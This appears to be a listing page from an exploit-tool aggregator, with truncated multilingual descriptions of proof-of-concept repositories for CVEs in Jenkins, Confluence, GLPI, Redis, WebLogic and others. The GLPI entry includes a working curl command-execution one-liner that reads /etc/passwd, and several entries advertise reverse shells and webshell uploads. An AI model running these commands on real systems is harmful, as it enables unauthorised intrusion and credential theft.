poc-cve-2024-23897

poc-cve-2024-23897 这段代码是我为 CVE-2024-23897 编写的一个概念验证。允许通过易受攻击的 args4j 模块在目标机器上执行 RCE。 使用方法：go run poc.go http://127.0.0.1:8888/ /etc/passwd...

CVE-2020-35713

Descripción Los dispositivos Belkin LINKSYS RE6500 anteriores a la versión 1.0.012.001 permiten a atacantes remotos ejecutar comandos arbitrarios o establecer una nueva contraseña mediante metacaracteres de shell en la página goform/setSysAdm. Cómo usar Paso 1: Modificar la dirección IP en el...

CVE-2020-8816

Notas para defenderse de este exploit Parcheo Simplemente hazlo... ahora. Suscríbete o sigue el repositorio de Pi-hole para nuevas versiones y Issues y Pull requests si eres serio. Red No expongas Pi-hole a internet. Solo expón el puerto DNS 53 de Pi-hole a clientes DNS, no otros puertos como la...

cve-2021-26084-confluence

这是一个快速粗糙的PoC，针对特定的Confluence实例进行了调整，因为现有的现成PoC没有一个能正常工作。 显然，它几乎完全基于 https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md 和 https://github.com/alt3kx/CVE-2021-26084PoC 的工作。 你需要在脚本中设置一些变量。 host 是你要检查的主机。 sessionid 是从登录Confluence时创建的JSESSIONID cookie中获取的会话ID。 spacekey 是你系统上的任意有效空间键 -...

CVE-2026-82543

A vulnerability was detected in vastsa FileCodeBox up to 2.3. This vulnerability affects the function updatefileusage of the file apps/base/views.py of the component Pickup Limit Handler. Performing a manipulation results in race condition. It is possible to initiate the attack remotely. The...

CVE-2026-82542

A weakness has been identified in Tenda HG10 300001138. Affected by this issue is the function formIPv6Routing of the file /boaform/admin/formIPv6Routing of the component Boa Web Server. This manipulation of the argument destNet causes buffer overflow. The attack is possible to be carried out...

CVE-2021-26084

CVE-2021-26084 confluence远程代码执行RCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 风险概述 本工具仅限授权安全测试使用,禁止未授权非法攻击站点 在线阅读《中华人民共和国网络安全法》 0x01 工具使用 批量RCE脚本请将URL导入url.txt 单站点RCE请使用下面的命令： python confluencerce.py -u url -c cmd或python confluencerce.py --url url --command cmd...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE 漏洞利用 漏洞利用标题： Wing FTP Server 7.4.4 通过 Lua 注入实现远程代码执行 CVE： CVE-2025-47812 测试于： Wing FTP Server v7.3.x（Windows/Linux） 影响： 以 SYSTEM/root 权限远程执行代码（RCE） 严重性： 严重 描述 Wing FTP Server 在处理登录输入中的 \0（空字节）时存在一个漏洞，允许攻击者通过用户或管理员 Web 界面向会话文件中注入任意 Lua 代码 。这可用于在底层操作系统上执行系统命令。...

CVE-2020-0601

ChainOfFools 又名 CurveBall 又名 CVE-2020-0601 CVE-2020-0601（ChainOfFools | CurveBall）资源合集 概述 来自 NSA 公告 的摘要指出： NSA 发现了一个影响微软 Windows®1 加密功能的严重漏洞（CVE-2020-0601）。该证书验证漏洞允许攻击者破坏 Windows 验证加密信任的方式，并可能导致远程代码执行。该漏洞影响 Windows 10、Windows Server 2016/2019 以及依赖 Windows...

CVE-2022-36067-vm2-POC-webapp

CVE-2022-36067-vm2-POC-webapp 复现步骤 1. 可能先全局安装 vm2（npm -install [email protected] -g） 2. 运行：node index.js 3. 访问 http://localhost:5000/poc 4. 上传 poc 文件（例如 poc2.js）或代码并观察 RCE...

CVE-2024-32002-PoC_Chinese

CVE-2024-32002 漏洞概述⚠️注意！：请不要clone此仓库！！！⚠️ 描述 CVE-2024-32002 是在 Git 软件中发现的一个严重安全漏洞。该漏洞允许远程攻击者通过特制的 Git 仓库在受影响的系统上执行任意代码。此漏洞存在于 Git 处理特定仓库操作的过程中，由于缺乏对输入数据的充分验证，导致了远程代码执行（RCE）的风险。 影响 成功利用此漏洞可能导致： 远程代码执行（RCE） ：攻击者能够在受影响的系统上执行任意代码。 系统控制 ：攻击者可能获得受影响系统的完全控制权。 数据泄露和篡改 ：未经授权的访问和修改敏感数据。 进一步攻击...

ADSelfService-Plus-RCE-CVE-2021-40539

ADSelfService-Plus-RCE-CVE-2021-40539 ADSelfService Plus RCE漏洞 检测工具 二开 描述 ZOHO ManageEngine ADSelfService Plus是卓豪（ZOHO）公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。 网络测绘 fofa:"ADSelfService" app="ZOHO-ManageEngine-ADSelfService" header="JSESSIONIDADSSP"...

AmzWord

AmzWord 一个基于CVE-2022-30190，163邮箱后门，以及图片隐写的自动化攻击链实现。 感谢以下github仓库，我们参考并修改了部分代码，集成实现了我们的工作： gdog follina virtual-reality 需求 gdog： Python 2.7 PyCrypto module WMI module Enum34 module Netifaces module follina： Python 3.x 使用&攻击流程 1. 利用follina.py构建恶意word文件，并打开http监听 您可以更改代码中的默认名字和默认ip...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107测试程序 webmin的这个远程命令执行漏洞，大致是perl中qx/…/导致命令执行，利用需要一定的特殊条件，复现的时候随手写了个图形化的利用程序。 值得注意的是，user值要是用的是一个假的用户，使用真实的root测试不成功，只有在发送的用户参数的值不是已知的Linux用户的情况下，展示进入才会到修改/etc/shadow的地方，从而触发命令注入漏洞 反弹shell可能需要编码，这可能需要修改代码...

CVE-2024-50379

CVE-2024-50379 Prueba de Concepto PoC Este repositorio contiene un script de prueba de concepto PoC para explotar CVE-2024-50379 , una vulnerabilidad en Apache Tomcat. La vulnerabilidad es una condición de carrera de Tiempo de Verificación Tiempo de Uso TOCTOU que puede provocar la ejecución remo...

CVE-2023-51409

CVE-2023-51409 AI Engine: ChatGPT Chatbot = 1.9.98 - Unauthenticated Arbitrary File Upload via restupload Description: The AI Engine: Chatbots, Generators, Assistants, GPT 4 and more! plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the...

CVE-2022-0543

CVE-2022-0543 Exploit completamente funcional para RCE en Redis mediante la vulnerabilidad de escape del sandbox de Lua. Basado en https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/. Características: Reverse shell automático -I + -P Ejecución d...

CVE-2021-42669

CVE-2021-42669 CVE-2021-42669 - 远程代码执行漏洞，通过工程师在线门户系统中的无限制文件上传实现。 技术描述： 工程师在线门户系统中存在无限制文件上传漏洞。攻击者可利用此漏洞在受影响的Web服务器上获得远程代码执行。 一旦上传头像，该头像将被上传到 /admin/uploads/ 目录，并且所有用户均可访问。 通过上传一个简单的PHP webshell，攻击者可以在Web服务器上获得远程代码执行。 受影响组件 - 漏洞页面 - teacheravatar.php CVE-2021-42669.py 用法 - root@kitploit: Upload a...

CVE-2022-35914

CVE-2022-35914 GLPI 10.0.2 中无需身份验证的远程代码执行 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...

Oracle-WLS-Weblogic-RCE

Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic RCE 测试脚本 CVE-2019-2725 是 Oracle WebLogic Server 中的一个反序列化漏洞。此远程代码执行漏洞无需认证即可远程利用。 该脚本基于 Python3，用于检测页面的存在与否。（更新于 20.11.07。） 使用方法 root@kitploit: python Oracle WLSWeblogic RCECVE-2019-2725.py （用户自定义端口） python Oracle WLSWeblogic...